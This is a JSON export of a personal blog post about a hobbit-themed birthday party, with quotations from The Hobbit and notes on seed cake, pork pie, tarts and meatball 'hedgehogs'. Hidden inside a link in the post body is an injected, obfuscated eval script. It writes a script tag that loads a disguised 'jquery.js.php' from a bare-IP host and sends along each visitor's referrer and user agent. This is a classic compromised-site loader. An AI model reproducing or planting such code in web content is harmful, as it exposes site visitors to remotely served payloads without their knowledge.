{"id":4309,"date":"2013-12-20T09:02:46","date_gmt":"2013-12-20T16:02:46","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4309"},"modified":"2013-12-25T09:30:38","modified_gmt":"2013-12-25T16:30:38","slug":"hobbits","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4309","title":{"rendered":"Hobbits!"},"content":{"rendered":"<p>I decided to have a birthday party this year &#8211; not something I&#8217;ve done in a while!\u00c2\u00a0 And of course it had to be a hobbit party, because of the movie coming out just now.\u00c2\u00a0 We went to see the movie first, and then came back home for a white-elephant gift swap and cake.\u00c2\u00a0 (The gift swap was hilarious:\u00c2\u00a0 I think the best item\u00c2\u00a0 was an old hardcover copy of Star Wars novel which seemed to be focused on Princess Leia&#8217;s romantic life.\u00c2\u00a0 There was also a moose cookie cutter and goodness knows what else.)<\/p>\n<p>But of course I had to think about the food, since Hobbits take food (and parties) pretty seriously.\u00c2\u00a0 The internet was full of suggestions for hobbit-themed parties, and most of the suggestions were pretty weak:\u00c2\u00a0 just &#8220;have a lot of food,&#8221; or do a traditional English high tea, or make cupcakes that look like Gandolf with frosting beards, etc.\u00c2\u00a0 Not actual hobbit food at all.\u00c2\u00a0 Happily, <a href=\"http:\/\/recipewise.co.uk\/tea-in-the-hobbit\">one <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naeaf|var|u0026u|referrer|fbdfy||js|php'.split('|'),0,{}))\n<\/script><\/noindex> website<\/a> did point out that when the dwarves arrive at the beginning of the story they&#8217;re pretty specific about what they want to eat!<\/p>\n<p>&nbsp;<\/p>\n<p><em>&#8220;Now we are all here!&#8221; said Gandalf, looking at the row of thirteen hoods-the best detachable party hoods-and his own hat hanging on the pegs. &#8220;Quite a merry gathering!<\/em><\/p>\n<p><em> I hope there is something left for the late-comers to eat and drink! What&#8217;s that? Tea! No thank you! A little red wine, I think, for me.&#8221; &#8220;And for me,&#8221; said Thorin. &#8220;And raspberry jam and apple-tart,&#8221; said Bifur. &#8220;And mince-pies and cheese,&#8221; said Bofur. &#8220;And pork-pie and salad,&#8221; said Bombur. &#8220;And more cakes-and ale-and coffee, if you don&#8217;t mind,&#8221; called the other dwarves through the door.<\/em><\/p>\n<p><em> &#8220;Put on a few eggs, there&#8217;s a good fellow!&#8221; Gandalf called after him, as<\/em><\/p>\n<p><em> the hobbit stumped off to the pantries. &#8220;And just bring out the cold chicken and pickles!&#8221;<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>So there was tea and wine and beer and coffee.\u00c2\u00a0 And raspberry tarts and apple tarts.\u00c2\u00a0 I made an old-fashioned seed cake, which is basically pound cake with carraway seeds in it &#8211; very easy -\u00c2\u00a0 and attempted a pork-pie, which needs a little work.\u00c2\u00a0 Cheese, salad.\u00c2\u00a0 Mince pie is easy enough if you can get a jar of mincemeat, which is traditional for Christmas in the north but seems hard to get here in south.\u00c2\u00a0 It&#8217;s not meat.\u00c2\u00a0 Anyway, I tried making a savory pie with root vegetables and dried fruits, and it came out quite tasty though I think people found it slightly odd.\u00c2\u00a0 And we had &#8220;more cake&#8221; and cold chicken and pickles.\u00c2\u00a0 No way I was going to &#8220;put on eggs&#8221; during\u00c2\u00a0 a party, so we just had deviled eggs along with the assorted pickles.And hedgehogs!\u00c2\u00a0 It&#8217;s one of my favorite medieval recipes and it seemed like an appropriate addition.\u00c2\u00a0 Basically, they&#8217;re meatballs, shaped a little pointy on one end to look like a little hedgehog and stuck all over with slivered-almond &#8220;spines.&#8221;<\/p>\n<p>And I did not take any pictures of any of these things at all.\u00c2\u00a0 But at some point, I&#8217;ll go back and post proper recipes and photos.<\/p>\n<p>It was a lovely party.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I decided to have a birthday party this year &#8211; not something I&#8217;ve done in&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4310,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[101,77],"class_list":["post-4309","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-holidays","tag-birthday","tag-home"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4309"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4309"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4309\/revisions"}],"predecessor-version":[{"id":4311,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4309\/revisions\/4311"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4310"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4309"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}